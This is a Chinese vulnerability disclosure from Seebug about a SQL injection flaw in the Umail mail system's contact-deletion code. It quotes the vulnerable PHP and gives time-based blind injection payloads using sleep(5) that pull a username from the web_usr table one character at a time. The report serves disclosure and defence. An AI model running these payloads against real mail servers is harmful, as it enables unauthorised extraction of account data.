Umail最新版SQL注入(续)

2014-08-20T00:00:00
ID SSV:95443
Type seebug
Reporter Root
Modified 2014-08-20T00:00:00

Description

简要描述:

看到路人甲大神频频发威,.....

详细说明:

File: client\pab\module\o_contact.php Line: 371

if ( ACTION == "contact-del" ) { $contact_ids = gss( $_POST['contact_ids'] ); // 未过滤 if ( !$contact_ids ) { dump_json( array( "status" => TRUE, "message" => "" ) ); } $result = $PAB->delContactByID( $user_id, $contact_ids, 0 );//跟踪该方法 if ( $result ) { dump_json( array( "status" => TRUE, "message" => "" ) ); } else { dump_json( array( "status" => FALSE, "message" => "修改联系人时发生错误,删除失败!" ) ); } } public function delContactByID( $_obfuscate_nQNptTJPg, $_obfuscate_aTToSQRb_5zHbps, $_obfuscate_ySeUHBw = FALSE ) { $_obfuscate_B6D9o5T_tA = $this->delMapByContactID( $_obfuscate_nQNptTJPg, $_obfuscate_aTToSQRb_5zHbps, $_obfuscate_ySeUHBw ); $_obfuscate_IRFhnYw = "user_id='".$_obfuscate_nQNptTJPg."' AND contact_id IN (".$_obfuscate_aTToSQRb_5zHbps.")"; //注意1!! $_obfuscate_vLWlS_m5__2wteA = $this->del_contact( $_obfuscate_IRFhnYw, $_obfuscate_ySeUHBw ); return $_obfuscate_vLWlS_m5__2wteA; }

看到上面的注意1,没有单引号闭合,且代入数据库变量未过滤,存在注入。 此处不能回显,可以通过延时盲注来注出数据。

漏洞证明:

先来张延时证明注入存在:

<img src="https://images.seebug.org/upload/201408/201833555d136173c55d9aa9f73283aa1b285ff6.png" alt="QQ20140820-1@2x.png" width="600" onerror="javascript:errimg(this);">

逐位猜解: 1. or if(((select count() from web_usr where usr_name like 'a_') > 0), 0, sleep(5))# usrname是a开头的,所以这一句很快执行完毕。 2. or if(((select count(*) from web_usr where usr_name like 'ab_') > 0), 0, sleep(5))# usr_name不是ab开头的,所以这一句就会去执行后面的sleep(5) 3. or if(((select count() from web_usr where usr_name like 'ad___') > 0), 0, sleep(5))# usr_name是ad开头的,这一句会很快执行

<img src="https://images.seebug.org/upload/201408/201840520410829013545dddc2f4830bf24f3099.png" alt="QQ20140820-2@2x.png" width="600" onerror="javascript:errimg(this);">

剩下的就是体力活了。